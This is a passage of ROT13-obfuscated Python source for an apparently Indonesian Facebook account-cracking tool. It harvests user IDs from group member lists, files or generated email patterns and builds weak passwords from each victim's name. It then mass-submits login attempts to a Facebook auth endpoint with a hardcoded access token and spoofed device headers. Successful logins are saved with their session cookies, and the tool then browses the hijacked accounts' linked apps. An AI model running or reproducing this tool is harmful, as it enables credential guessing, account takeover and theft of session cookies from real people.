vfv.svaq_nyy("n",uers=Gehr):\n\t\t\t\t\tvs "cebsvyr.cuc" va vqf.trg("uers"):hvq = vqf.trg("uers").fcyvg("=")[1].ercynpr("&rni","");anzn = vqf.grkg\n\t\t\t\t\tryfr:\n\t\t\t\t\t\tvs vqf.grkg==whqhy:cnff\n\t\t\t\t\t\tryfr:hvq = vqf.trg("uers").fcyvg("/")[1].fcyvg("?")[0];anzn = vqf.grkg\n\t\t\t\t\tvs hvq+"<=>"+anzn va gnzchat:cnff\n\t\t\t\t\tryfr:gnzchat.nccraq(hvq+"<=>"+anzn)\n\t\t\t\t\tpbafbyr.cevag(s" {U2}• {O2}frqnat cebfrf zrathzchyxna vq, oreunfvy zraqncngxna {yra(gnzchat)} vq....", raq="\\e")\n\t\t\tsbe k va qngn.svaq_nyy("n",uers=Gehr):\n\t\t\t\tvs "Yvung Cbfgvatna Ynvaaln" va k.grkg:\n\t\t\t\t\tfrys.Qhzc_ZrzoreTehc("uggcf://zonfvp.snprobbx.pbz"+k.trg("uers"))\n\t\trkprcg:cnff\n\t\t\n\t###----------[ QHZC SVYR ]---------- ###\n\tqrs Qhzc_Svyr(frys,ybx):\n\t\tgel:\n\t\t\tsvyr = bcra(ybx,"e").ernq().fcyvgyvarf()\n\t\t\tsbe m va svyr:\n\t\t\t\tgnzchat.nccraq(m)\n\t\trkprcg:cnff\n\t\t\n\t###----------[ QHZC RZNVY ]---------- ###\n\tqrs Qhzc_Rznvy(frys,anzn,sbezng,yvzvg):\n\t\tgel:\n\t\t\tsbe m va enatr(vag(yvzvg)):\n\t\t\t\tvs yra(anzn.fcyvg()) > 1:\n\t\t\t\t\trznvy = fge(anzn.fcyvg()[0])+fge(anzn.fcyvg()[1])+fge(m)+fge(sbezng)+"<=>"+fge(anzn.fcyvg()[0])+" "+fge(anzn.fcyvg()[1])\n\t\t\t\tryfr:\n\t\t\t\t\trznvy = fge(anzn)+fge(m)+fge(sbezng)+"<=>"+fge(anzn)\n\t\t\t\tvs rznvy va gnzchat:cnff\n\t\t\t\tryfr:gnzchat.nccraq(rznvy)\n\t\trkprcg:cnff\n\t\t\n\t###----------[ QHZC HFREANZR ]---------- ###\n\tqrs Qhzc_Hfreanzr(frys,anzn,yvzvg):\n\t\tgel:\n\t\t\tsbe m va enatr(vag(yvzvg)):\n\t\t\t\tvs "." va anzn:\n\t\t\t\t\thfre = fge(anzn)+"."+fge(m)+"<=>"+fge(anzn.ercynpr("."," "))\n\t\t\t\tryfr:\n\t\t\t\t\thfre = fge(anzn)+"."+fge(m)+"<=>"+fge(anzn)\n\t\t\t\tvs hfre va gnzchat:cnff\n\t\t\t\tryfr:gnzchat.nccraq(hfre)\n\t\trkprcg:cnff\n\n###----------[ ONTVNA PENPX ]---------- ###\npynff Penpx:\n\t\n\t###----------[ SHAPGVBA VAVG ]---------- ###\n\tqrs __vavg__(frys):\n\t\tfrys.ybbc = 0\n\t\tfrys.bx = []\n\t\tfrys.pc = []\n\t\tfrys.ncx = []\n\t\tfrys.nxgvs = []\n\t\tfrys.xnqnyhjnefn = []\n\t\tfrys.unev_vav = qngrgvzr.abj().fgesgvzr("%q-%O-%L")\n\t\t\n\t###----------[ NGHE FNAQV QNA ZRGBQR ]---------- ###\n\tqrs nghefnaqv(frys):\n\t\tcevagf(Cnary(s"""{U2}oreunfvy zrathzchyxna {yra(gnzchat)} vq""",jvqgu=80,cnqqvat=(0,21),fglyr=s"{pbybe_cnary}"))\n\t\tfrg = pbafbyr.vachg(s" {U2}• {X2}ncnxnu xnzh vatva zratthanxna fnaqv znahny?(l/a) : ")\n\t\t\n\t\t###----------[ FNAQV ZNAHNY ]---------- ###\n\t\tvs frg va["L","l"]:\n\t\t\tcevagf(Cnary(s"""{X2}fvynuxna ohng xngnfnaqv qratna , (xbzn) frontnv crzvfnu gvnc xngnfnaqv""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\tcjk = pbafbyr.vachg(s" {U2}• {O2}ohng xngnfnaqv : ").fcyvg(",")\n\t\t\tvs yra(cjk)<=5:\n\t\t\t\tcevagf(Cnary(s"""{Z2}xngnfnaqv unehf zvavzny 6 uhehs""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\t\trkvg()\n\t\t\tcevagf(Cnary(s"""{X2}zrzhaphyxna ncyvxnfv ovfn zrzohng nxha grexran purpxcbvag/qvabanxgvsxna""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\tncc = pbafbyr.vachg(s" {U2}• {X2}ncnxnu xnzh vatva zrzhaphyxna ncyvxnfv grexnvg?(l/a) : ")\n\t\t\tvs ncc va["L","l"]:\n\t\t\t\tfrys.ncx.nccraq("zhaphy")\n\t\t\tryfr:\n\t\t\t\tfrys.ncx.nccraq("xbagby nawvat")\n\t\t\tfrys.znahny(cjk)\n\t\t\n\t\t###----------[ FNAQV BGBZNGVF ]---------- ###\n\t\tryfr:\n\t\t\tcevagf(Cnary(s"""{O2}zrzhaphyxna ncyvxnfv ovfn zrzohng nxha grexran purpxcbvag/qvabanxgvsxna""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\tncc = pbafbyr.vachg(s" {U2}• {X2}ncnxnu xnzh vatva zrzhaphyxna ncyvxnfv grexnvg?(l/a) : ")\n\t\t\tvs ncc va["L","l"]:\n\t\t\t\tfrys.ncx.nccraq("zhaphy")\n\t\t\tryfr:\n\t\t\t\tfrys.ncx.nccraq("xbagby nawvat")\n\t\t\tfrys.bgbzngvf()\n\t\t\n\t###----------[ PENPX ZNAHNY ]---------- ###\n\tqrs znahny(frys,cj):\n\t\ttybony cebt,qrf\n\t\tcebt = Cebterff(FcvaarePbyhza(\'pybpx\'),GrkgPbyhza(\'{gnfx.qrfpevcgvba}\'),OnePbyhza(),GrkgPbyhza(\'{gnfx.crepragntr:.0s}%\'),GvzrRyncfrqPbyhza())\n\t\tqrf = cebt.nqq_gnfx(\'\',gbgny=yra(gnzchat))\n\t\tjvgu cebt:\n\t\t\tjvgu GuernqCbbyRkrphgbe(znk_jbexref=30) nf snyy:\n\t\t\t\tfrys.fvzcna_unfvy()\n\t\t\t\tsbe qngn va gnzchat:\n\t\t\t\t\thfre = qngn.fcyvg("<=>")[0]\n\t\t\t\t\tanzn = qngn.fcyvg("<=>")[1]\n\t\t\t\t\tcjk = cj\n\t\t\t\t\tsnyy.fhozvg(frys.zrgbqr_ncv,hfre,cjk)\n\t\tcevagf(Cnary(s"""{X2}oreunfvy penpx gbgny {yra(gnzchat)} vq, qratna unfvy BX : {U2}{yra(frys.bx)}{C2} PC : {X2}{yra(frys.pc)}{C2}""",jvqgu=80,cnqqvat=(0,8),fglyr=s"{pbybe_cnary}"))\n\t\tflf.rkvg()\n\t\t\t\t\t\t\n\t###----------[ PENPX BGBZNGVF ]---------- ###\n\tqrs bgbzngvf(frys):\n\t\ttybony cebt,qrf\n\t\tcebt = Cebterff(GrkgPbyhza(\'{gnfx.qrfpevcgvba}\'),OnePbyhza(),GrkgPbyhza(\'{gnfx.crepragntr:.0s}%\'),GvzrRyncfrqPbyhza())\n\t\tqrf = cebt.nqq_gnfx(\'\',gbgny=yra(gnzchat))\n\t\tjvgu cebt:\n\t\t\tjvgu GuernqCbbyRkrphgbe(znk_jbexref=30) nf snyy:\n\t\t\t\tfrys.fvzcna_unfvy()\n\t\t\t\tsbe qngn va gnzchat:\n\t\t\t\t\tgel:\n\t\t\t\t\t\tcjk = []\n\t\t\t\t\t\thfre = qngn.fcyvg("<=>")[0]\n\t\t\t\t\t\tanzn = qngn.fcyvg("<=>")[1]\n\t\t\t\t\t\tqrcna = anzn.fcyvg(" ")[0]\n\t\t\t\t\t\tvs yra(anzn)<=5:\n\t\t\t\t\t\t\tvs yra(qrcna)<3:\n\t\t\t\t\t\t\t\tcnff \n\t\t\t\t\t\t\tryfr:\n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+"123")\n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+" 1234") \n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+"12345")\n\t\t\t\t\t\tryfr:\n\t\t\t\t\t\t\tvs yra(qrcna)<3:\n\t\t\t\t\t\t\t\tcjk.nccraq(anzn)\n\t\t\t\t\t\t\tryfr:\n\t\t\t\t\t\t\t\tcjk.nccraq(anzn)\n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+"123")\n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+" 1234") \n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+"12345")\n\t\t\t\t\t\t\torynxnat = anzn.fcyvg(" ")[1]\n\t\t\t\t\t\t\tvs yra(orynxnat)<3:\n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+orynxnat)\n\t\t\t\t\t\t\tryfr:\n\t\t\t\t\t\t\t\tcjk.nccraq(qrcna+orynxnat)\n\t\t\t\t\t\t\t\tcjk.nccraq(orynxnat+"123")\n\t\t\t\t\t\t\t\tcjk.nccraq(orynxnat+" 1234") \n\t\t\t\t\t\t\t\tcjk.nccraq(orynxnat+"12345")\n\t\t\t\t\t\tsnyy.fhozvg(frys.zrgbqr_ncv,hfre,cjk)\n\t\t\t\t\trkprcg:\n\t\t\t\t\t\tsnyy.fhozvg(frys.zrgbqr_ncv,hfre,cjk)\n\t\tcevagf(Cnary(s"""{X2}oreunfvy penpx gbgny {yra(gnzchat)} vq, qratna unfvy BX : {U2}{yra(frys.bx)}{O2} PC : {X2}{yra(frys.pc)}{O2}""",jvqgu=80,cnqqvat=(0,8),fglyr=s"{pbybe_cnary}"))\n\t\tflf.rkvg()\n\t\t\t\t\t\t\t\n\t###----------[ ZRGBQR NCV ]---------- ###\n\tqrs zrgbqr_ncv(frys,rznvy,cjk):\n\t\tcebt.hcqngr(qrf,qrfpevcgvba=s" {U2}•{X2} UnpxSO {U2}Nyrk Tnaf{X2} {fge(frys.ybbc)}/{yra(gnzchat)} BX : {U2}{yra(frys.bx)}{O2} PC : {Z2}{yra(frys.pc)}{O2}")\n\t\tcebt.nqinapr(qrf)\n\t\tgel:\n\t\t\tsbe cj va cjk:\n\t\t\t\tcj = cj.ybjre()\n\t\t\t\thn = enaqbz.pubvpr(htrag)\n\t\t\t\tcnenzf = {\n\t\t\t\t\t"npprff_gbxra": "200424423651082|2n9918p6opq75o94prspoo5635p6nq16",\n\t\t\t\t\t"fqx_irefvba": s"{fge(enaqbz.enaqvag(1,26))}", \n\t\t\t\t\t"rznvy": rznvy,\n\t\t\t\t\t"ybpnyr": "ra_HF",\n\t\t\t\t\t"cnffjbeq": cj,\n\t\t\t\t\t"fqx": "naqebvq",\n\t\t\t\t\t"trarengr_frffvba_pbbxvrf": "1",\n\t\t\t\t\t"fvt": "4s648s21so58spq2nn1p65s35s441rs5"\n\t\t\t\t}\n\t\t\t\turnqref = {\n\t\t\t\t\t"Ubfg": "tencu.snprobbx.pbz",\n\t\t\t\t\t"k-so-pbaarpgvba-onaqjvqgu": fge(enaqbz.enaqvag(20000000, 30000000)),\n\t\t\t\t\t"k-so-fvz-uav": fge(enaqbz.enaqvag(20000, 40000)),\n\t\t\t\t\t"k-so-arg-uav": fge(enaqbz.enaqvag(20000, 40000)),\n\t\t\t\t\t"k-so-pbaarpgvba-dhnyvgl": "RKPRYYRAG",\n\t\t\t\t\t"hfre-ntrag": hn,\n\t\t\t\t\t"pbagrag-glcr": "nccyvpngvba/k-jjj-sbez-heyrapbqrq",\n\t\t\t\t\t"k-so-uggc-ratvar": "Yvtre"\n\t\t\t\t}\n\t\t\t\tcbfg = frf.cbfg("uggcf://tencu.snprobbx.pbz/nhgu/ybtva",cnenzf=cnenzf, urnqref=urnqref, nyybj_erqverpgf=Snyfr)\n\t\t\t\tvs "frffvba_xrl" va cbfg.grkg naq "RNN" va cbfg.grkg:\n\t\t\t\t\tpbxv = ";".wbva(v["anzr"]+"="+v["inyhr"] sbe v va cbfg.wfba()["frffvba_pbbxvrf"])\n\t\t\t\t\tfo = onfr64.o64rapbqr(bf.henaqbz(18)).qrpbqr().ercynpr("=","").ercynpr("+","_").ercynpr("/","-")\n\t\t\t\t\tpbbxvr = s"fo={fo};{pbxv}"\n\t\t\t\t\thfre = er.svaqnyy("p_hfre=(\\q+)",pbbxvr)[0]\n\t\t\t\t\tvs hfre va frys.bx be hfre va frys.pc:\n\t\t\t\t\t\toernx\n\t\t\t\t\tryfr:\n\t\t\t\t\t\tfrys.bx.nccraq(hfre)\n\t\t\t\t\t\tvs "zhaphy" va frys.ncx:\n\t\t\t\t\t\t\tfrys.trg_ncx(hfre,cj,pbbxvr)\n\t\t\t\t\t\tryfr:\n\t\t\t\t\t\t\tgerr = Gerr(Cnary.svg(s"""{U2}{bx}|{cnffjbeq}{C2}""",fglyr=s"{pbybe_cnary}"),thvqr_fglyr="obyq terl100")\n\t\t\t\t\t\t\tgerr.nqq(Cnary(s"{O2}{hn}{C2}",fglyr=s"{pbybe_cnary}"))\n\t\t\t\t\t\t\tgerr.nqq(Cnary(s"{U2}{pbbxvrf}{C2}",fglyr=s"{pbybe_cnary}"))\n\t\t\t\t\t\t\tcevagf(gerr)\n\t\t\t\t\t\tbcra(s"BX/{frys.unev_vav}.gkg","n").jevgr(s"{hfre}|{cj}|{pbbxvr}\\a")\n\t\t\t\t\t\toernx\n\t\t\t\tryvs "Hfre zhfg irevsl gurve nppbhag" va cbfg.grkg:\n\t\t\t\t\thfre = cbfg.wfba()["reebe"]["reebe_qngn"]["hvq"]\n\t\t\t\t\tvs hfre va frys.bx be hfre va frys.pc:\n\t\t\t\t\t\toernx\n\t\t\t\t\tryfr:\n\t\t\t\t\t\tfrys.pc.nccraq(hfre)\n\t\t\t\t\t\tgerr = Gerr(Cnary.svg(s"""{X2}{ Pc}|{cnffjbeq}{C2}""",fglyr=s"{pbybe_cnary}"),thvqr_fglyr="obyq terl100")\n\t\t\t\t\t\tgerr.nqq(Cnary(s"{Z2}{hn}{C2}",fglyr=s"{pbybe_cnary}"))\n\t\t\t\t\t\tcevagf(gerr)\n\t\t\t\t\t\tbcra(s"PC/{frys.unev_vav}.gkg","n").jevgr(s"{hfre}|{cj}\\a")\n\t\t\t\t\t\toernx\n\t\t\t\tryvs "Pnyyf gb guvf ncv unir rkprrqrq gur engr yvzvg. (613)" va cbfg.grkg:\n\t\t\t\t\tcebt.hcqngr(qrf,qrfpevcgvba=s" {U2}•{C2} penpx {Z2}fcnz{C2} {fge(frys.ybbc)}/{yra(gnzchat)} PC : {U2}{yra(frys.bx)}{C2} BX : {U2}{yra(frys.pc)}{C2}")\n\t\t\t\t\tcebt.nqinapr(qrf)\n\t\t\t\t\tgvzr.fyrrc(30)\n\t\t\t\tryfr:pbagvahr\n\t\trkprcg PbaarpgvbaReebe:\n\t\t\tgvzr.fyrrc(30)\n\t\t\tfrys.zrgbqr_ncv(hfre,cjk)\n\t\tfrys.ybbc +=1\n\n\t###----------[ CEVAG FVZCNA UNFVY ]---------- ###\n\tqrs fvzcna_unfvy(frys):\n\t\tcevagf(Cnary(s"""\\e{C2}unfvy penpx bx grefvzcna xr : BX/{frys.unev_vav}.gkg\n{C2}unfvy penpx bx grefvzcna xr : PC/{frys.unev_vav}.gkg""",jvqgu=80,cnqqvat=(0,10),fglyr=s"{pbybe_cnary}"))\n\t\n\t###----------[ CEVAG ZHAPHY NCX ]---------- ###\n\tqrs trg_ncx(frys,hfre,cj,pbbxvr):\n\t\t\n\t\t###----------[ PRX ZBQR TENGVF ]---------- ###\n\t\tgel:\n\t\t\they = frf.trg("uggcf://zonfvp.snprobbx.pbz/",pbbxvrf={"pbbxvr": pbbxvr}).grkg\n\t\t\tvs "Ncn lnat Naqn cvxvexna frxnenat" va hey:\n\t\t\t\tcnff\n\t\t\tryfr:\n\t\t\t\tsbe m va hey.svaq_nyy("n",uers=Gehr):\n\t\t\t\t\tvs "Gvqnx, Grevzn Xnfvu" va m.grkg:\n\t\t\t\t\t\ttrg = frf.trg("uggcf://zonfvp.snprobbx.pbz"+m["uers"],pbbxvrf={"pbbxvr": pbbxvr})\n\t\t\t\t\t\tcnefvat = cnefre(trg.grkg,"ugzy.cnefre")\n\t\t\t\t\t\tnpgvba = cnefvat.svaq("sbez",{"zrgubq":"cbfg"})["npgvba"]\n\t\t\t\t\t\tqngn = {\n\t\t\t\t\t\t\t"so_qgft":er.frnepu(\'anzr="so_qgft" inyhr="(.*?)"\', fge(trg.grkg)).tebhc(1),\n\t\t\t\t\t\t\t"wnmbrfg":er.frnepu(\'anzr="wnmbrfg" inyhr="(.*?)"\', fge(trg.grkg)).tebhc(1),\n\t\t\t\t\t\t\t"fhozvg": "BX, Thanxna Qngn"\n\t\t\t\t\t\t}\n\t\t\t\t\t\tcbfg = frf.cbfg("uggcf://zonfvp.snprobbx.pbz"+npgvba,qngn=qngn,pbbxvrf={"pbbxvr": pbbxvr})\n\t\t\t\t\t\toernx\n\t\trkprcg:cnff\n\t\t\t\n\t\t###----------[ NCYVXNFV NXGVS ]---------- ###\n\t\tnxgvc = Gerr("Ncyvxnfv Nxgvs",thvqr_fglyr="obyq terl100")\n\t\tfrys.ncxnxgvs("uggcf://zonfvp.snprobbx.pbz/frggvatf/nccf/gnoorq/?gno=npgvir",pbbxvr)\n\t\tvs yra(frys.nxgvs)==0:\n\t\t\tnxgvc.nqq(s"{C2}gvqnx nqn ncyvxnfv lnat grexnvg")\n\t\tryfr:\n\t\t\tsbe ncx va frys.nxgvs:\n\t\t\t\tnxgvc.nqq(s"{U2}{ncx}{C2}")\n\t\t\t\t\n\t\t###----------[ NCYVXNFV XNQNYHJNEFN ]---------- ###\n\t\txnqnyh = Gerr("Ncyvxnfv Xnqnyhjnefn",thvqr_fglyr="obyq terl100")\n\t\tfrys.ncxxnqnyhjnefn("uggcf://zonfvp.snprobbx.pbz/frggvatf/nccf/gnoorq/?gno=vanpgvir",pbbxvr)\n\t\tvs yra(frys.xnqnyhjnefn)==0:\n\t\t\txnqnyh.nqq(s"{C2}gvqnx nqn ncyvxnfv lnat grexnvg")\n\t\tryfr:\n\t\t\tsbe ncx va frys.xnqnyhjnefn:\n\t\t\t\txnqnyh.nqq(s"{Z2}{ncx}{C2}")\n\t\t\t\n\t\t###----------[ CEVAG FRZHN ]---------- ###\n\t\tgerr = Gerr(Cnary.svg(s"""{U2}{hfre}|{cj}{C2}""",fglyr=s"{pbybe_cnary}"),thvqr_fglyr="obyq terl100")\n\t\tgerr.nqq(nxgvc)\n\t\tgerr.nqq(xnqnyh)\n\t\tgerr.nqq(Cnary(s"{U2}{pbbxvr}{C2}",fglyr=s"{pbybe_cnary}"))\n\t\tcevagf(gerr)\n\t\t\n\t###----------[ TRG NCX NXGVS ]---------- ###\n\tqrs ncxnxgvs(frys,hey,pbbxvr):\n\t\tgel:\n\t\t\tqngn = cnefre(frf.trg(hey,pbbxvrf={"pbbxvr": pbbxvr}).grkg,"ugzy.cnefre")\n\t\t\tsbe ncx va qngn.svaq_nyy("u3"):\n\t\t\t\tvs "Qvgnzonuxna" va ncx.grkg:\n\t\t\t\t\tfrys.nxgvs.nccraq(s"{fge(ncx.grkg).ercynpr(\'Qvgnzonuxna\',\' Qvgnzonuxna\')}")\n\t\t\t\tryfr:pbagvahr\n\t\t\tarkg = "uggcf://zonfvp.snprobbx.pbz"+qngn.svaq("n",fgevat="Yvung Ynvaaln")["uers"]\n\t\t\tfrys.ncxnxgvs(arkg,pbbxvr)\n\t\trkprcg:cnff\n\t\t\n\t###----------[ TRG NCX XNQNYHJNEFN ]---------- ###\n\tqrs ncxxnqnyhjnefn(frys,hey,pbbxvr):\n\t\tgel:\n\t\t\tqngn = cnefre(frf.trg(hey,pbbxvrf={"pbbxvr": pbbxvr}).grkg,"ugzy.cnefre")\n\t\t\tsbe ncx va qngn.svaq_nyy("u3"):\n\t\t\t\tvs "Xrqnyhjnefn" va ncx.grkg:\n\t\t\t\t\tfrys.xnqnyhjnefn.nccraq(s"{fge(ncx.grkg).ercynpr(\'Xrqnyhjnefn\',\' Xrqnyhjnefn\')}")\n\t\t\t\tryfr:pbagvahr\n\t\t\tarkg = "uggcf://zonfvp.snprobbx.pbz"+qngn.svaq("n",fgevat="Yvung Ynvaaln")["uers"]\n\t\t\tfrys.ncxxnqnyhjnefn(arkg,pbbxvr)\n\t\trkprcg:cnff\n\t\n###----------[ ZRAH YNVA ]---------- ###\npynff Ynva:\n\t\n\t###----------[ SHAPGVBA VAVG ]---------- ###\n\tqrs __vavg__(frys,pbbxvr):\n\t\tfrys.pbbxvr = pbbxvr\n\t\tfrys.svyr = []\n\t\tfrys.yvfgsvyr = []\n\t\t\n\t###----------[ ZRAH ]---------- ###\n\tqrs zrah(frys):\n\t\tcevagf(Cnary(s"""{C2}[{pbybe_grkg}01{C2}]. yvung nxha unfvy penpx [{pbybe_grkg}04{C2}]. tnagv jnean grzn gbbyf\n[{pbybe_grkg}02{C2}]. trg vasb nxha gnetrg [{pbybe_grkg}05{C2}]. gnzcvyxna vasb pbbxvrf\n[{pbybe_grkg}03{C2}]. frggvat hfre ntrag [{pbybe_grkg}06{C2}]. ybtbhg ({Z2}unchf ybtva{C2})""",jvqgu=80,cnqqvat=(0,7),fglyr=s"{pbybe_cnary}"))\n\t\tzrah = pbafbyr.vachg(s" {U2}• {C2}cvyvu zrah : ")\n\t\tvs zrah va["01","1"]:\n\t\t\tfrys.prx_unfvy()\n\t\tryvs zrah va["04","4"]:\n\t\t\tfrys.tnagv_grzn()\n\t\tryvs zrah va["05","5"]:\n\t\t\tfrys.gnzcvy_pbbxvr()\n\t\tryvs zrah va["06","6"]:\n\t\t\tbf.flfgrz("ez qngn/pbbxvr")\n\t\t\trkvg(cevagf(Cnary(s"""{U2}oreunfvy zratunchf pbbxvr, fvynuxna xrgvx hynat clguba eha.cl""",jvqgu=80,fglyr=s"{pbybe_cnary}")))\n\t\tryfr:\n\t\t\trkvg(cevagf(Cnary(s"""{Z2}🙏 znns svghe vav oryhz grefrqvn, fvynuxna zrahatth hcqngr frynawhgaln""",jvqgu=80,fglyr=s"{pbybe_cnary}")))\n\n\t###----------[ PRX UNFVY PENPX ]---------- ###\n\tqrs prx_unfvy(frys):\n\t\tcevagf(Cnary(s"""{C2}[{pbybe_grkg}01{C2}]. yvung nxha unfvy penpx bx\n[{pbybe_grkg}02{C2}]. yvung nxha unfvy penpx pc""",jvqgu=80,cnqqvat=(0,20),fglyr=s"{pbybe_cnary}"))\n\t\tnfx = pbafbyr.vachg(s" {U2}• {C2}znfhxna cvyvuna : ")\n\t\tvs nfx va["1","01"]:sbyqre = "BX"\n\t\tryfr:sbyqre = "PC"\n\t\t\n\t\t###----------[ CVYVU SVYR ]---------- ###\n\t\tqvef = bf.yvfgqve(sbyqre)\n\t\tcevagf(Cnary(s"""{C2} oreunfvy zrarzhxna {yra(qvef)} svyr unfvy penpx bx""",jvqgu=80,cnqqvat=(0,15),fglyr=s"{pbybe_cnary}"))\n\t\tahz = 0\n\t\tsbe svy va qvef:\n\t\t\tahz += 1\n\t\t\tfrys.svyr.nccraq(svy)\n\t\t\tgbgnynxha = bcra(s"{sbyqre}/{svy}","e").ernq().fcyvgyvarf()\n\t\t\tfrys.yvfgsvyr.nccraq(Cnary(s"{X2}[{pbybe_grkg}0{ahz}{C2}]",jvqgu=10,gvgyr=s"{C2}abzre",fglyr=s"{pbybe_cnary}"))\n\t\t\tfrys.yvfgsvyr.nccraq(Cnary(s"{X2}{svy}",jvqgu=35,gvgyr=s"{C2}gnattny",fglyr=s"{pbybe_cnary}"))\n\t\t\tfrys.yvfgsvyr.nccraq(Cnary(s"{X2}{yra(gbgnynxha)} nxha",jvqgu=28,gvgyr=s"{C2}gbgny nxha",fglyr=s"{pbybe_cnary}"))\n\t\tpbafbyr.cevag(Pbyhzaf(frys.yvfgsvyr))\n\t\tcevagf(Cnary(s"""{X2}xnzh unaln creyh zrzvyvu qna zrznfhxna abzre qnev svyr penpx qv ngnf""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\terfhyg = pbafbyr.vachg(s" {U2}• {X2}znfhxna natxn : ")\n\t\t\n\t\t###----------[ ZHYNV PRX ]---------- ###\n\t\tgel:\n\t\t\tsvyrf = frys.svyr[vag(erfhyg)-1]\n\t\t\tgbgnyunfvy = bcra(s"{sbyqre}/{svyrf}","e").ernq().fcyvgyvarf()\n\t\trkprcg:\n\t\t\tcevagf(Cnary(s"""{Z2}svyr lnat naqn znfhxna gvqnx grefrqvn ngnh vachg xnzh gvqnx orane""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\t\trkvg()\n\t\tanzn_svyr = (s"{svyrf}").ercynpr("-", " ").ercynpr(".gkg", "")\n\t\tcevagf(Cnary(s"""{C2}anzn svyr unfvy penpx : {anzn_svyr} qna greqncng gbgny nxha : {yra(gbgnyunfvy)}""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\tsbe nxha va gbgnyunfvy:\n\t\t\thfre = nxha.fcyvg("|")[0]\n\t\t\tcj = nxha.fcyvg("|")[1]\n\t\t\tgerr = Gerr(" ",thvqr_fglyr=s"{pbybe_cnary}")\n\t\t\tvs sbyqre=="BX":\n\t\t\t\tpbbxvr = nxha.fcyvg("|")[2]\n\t\t\t\tgerr.nqq(s"\\e{U2}{hfre}|{cj}{C2} ")\n\t\t\t\tgerr.nqq(Cnary(s"{U2}{pbbxvr}{C2}",fglyr=s"{pbybe_cnary}"))\n\t\t\tryfr:\n\t\t\t\tgerr.nqq(s"\\e{X2}{hfre}|{cj}{C2} ")\n\t\t\tcevagf(gerr)\n\t\tcevagf(Cnary(s"""{C2} oreunfvy zratrprx qna zraqncngxna gbgny {yra(gbgnyunfvy)} nxha qnev svyr""",jvqgu=80,cnqqvat=(0,7),fglyr=s"{pbybe_cnary}"))\n\t\trkvg()\n\t\t\n\t###----------[ TNAGV JNEAN GRZN ]---------- ###\n\tqrs tnagv_grzn(frys):\n\t\tcevagf(Cnary(s"""{C2}[{pbybe_grkg}01{C2}]. tnagv jnean grzn zrenu [{pbybe_grkg}06{C2}]. tnagv jnean grzn cvax\n[{pbybe_grkg}02{C2}]. tnagv jnean grzn uvwnh [{pbybe_grkg}07{C2}]. tnagv jnean grzn plna\n[{pbybe_grkg}03{C2}]. tnagv jnean grzn xhavat [{pbybe_grkg}08{C2}]. tnagv jnean grzn chgvu\n[{pbybe_grkg}04{C2}]. tnagv jnean grzn oveh [{pbybe_grkg}09{C2}]. tnagv jnean grzn benatr\n[{pbybe_grkg}05{C2}]. tnagv jnean grzn hath [{pbybe_grkg}10{C2}]. tnagv jnean grzn noh2""",jvqgu=80,cnqqvat=(0,7),fglyr=s"{pbybe_cnary}"))\n\t\tnfx = pbafbyr.vachg(s" {U2}• {C2}cvyvu grzn : ")\n\t\tvs nfx va["01","1"]:jnean = "[#SS0000]";grxf="zrenu"\n\t\tryvs nfx va["02","2"]:jnean = "[#00SS00]";grxf="uvwnh"\n\t\tryvs nfx va["03","3"]:jnean = "[#SSSS00]";grxf="xhavat"\n\t\tryvs nfx va["04","4"]:jnean = "[#00P8SS]";grxf="oveh"\n\t\tryvs nfx va["05","5"]:jnean = "[#NS00SS]";grxf="hath"\n\t\tryvs nfx va["06","6"]:jnean = "[#SS00SS]";grxf="cvax"\n\t\tryvs nfx va["07","7"]:jnean = "[#00SSSS]";grxf="plna"\n\t\tryvs nfx va["08","8"]:jnean = "[#SSSSSS]";grxf="chgvu"\n\t\tryvs nfx va["09","9"]:jnean = "[#SS8S00]";grxf="benatr"\n\t\tryvs nfx va["10"]:jnean = "[#NNNNNN]";grxf="noh-noh"\n\t\tbcra("qngn/gurzr_pbybe","j").jevgr(jnean+"|"+jnean.ercynpr("[","").ercynpr("]",""))\n\t\tcevagf(Cnary(s"""{U2}oreunfvy zrattnagv grzn xr {grxf}, fvynuxna zhynv hynat gbbyf""",jvqgu=80,cnqqvat=(0,6),fglyr=s"{pbybe_cnary}"))\n\t\tflf.rkvg()\n\n\t\t\t\n\t###----------[ GNZCVYXNA PBBXVR ]---------- ###\n\tqrs gnzcvy_pbbxvr(frys):\n\t\tabj = qngrgvzr.abj()\n\t\tunev = abj.qnl+vag(30)\n\t\tvs unev > 30:unev = unev-30\n\t\tohyna = abj.zbagu+1\n\t\tvs ohyna > 12:ohyna = ohyna-12\n\t\tvs abj.zbagu+1 > 12:gnuha = abj.lrne+1\n\t\tqngn = qngr(lrne=gnuha,zbagu=ohyna,qnl=unev)\n\t\tnxgvs = qngn.fgesgvzr("%q %O %L")\n\t\tpbafbyr.cevag(s" {U2}• {C2}nxgvs fnzcnv : {nxgvs}")\n\t\tcevagf(Cnary(s"""{U2}{frys.pbbxvr.trg(\'pbbxvr\')}""",jvqgu=80,fglyr=s"{pbybe_cnary}"))\n\t\tflf.rkvg()\n\t\t\n###----------[ ONTVNA FRFFVBA URNQREF QNA HFRE NTRAG ]---------- ###\npynff Frffvba:\n\t\n\t###----------[ TRARENGR HFRE NTRAG PENPX ]---------- ###\n\tqrs trarengr_htrag(frys):\n\t\tirefv_naqebvq = enaqbz.enaqvag(4,12)\n\t\tirefv_puebzr = fge(enaqbz.enaqvag(300,325))+".0.0."+fge(enaqbz.enaqvag(1,8))+"."+fge(enaqbz.enaqvag(40,150))\n\t\tirefv_ncc = enaqbz.enaqvag(410000000,499999999)\n\t\tqrivpr = enaqbz.pubvpr(["IBT-Y29 Ohvyq/UHNJRVIBT-Y29","FGX-YK3 Ohvyq/UHNJRVFGX-YK3","OGI-J09 Ohvyq/UHNJRVORRGUBIRA-J09","PYG-NY00 Ohvyq/UHNJRVPYG-NY00","YLN-NY10 Ohvyq/UHNJRVYLN-NY10","RYR-Y29 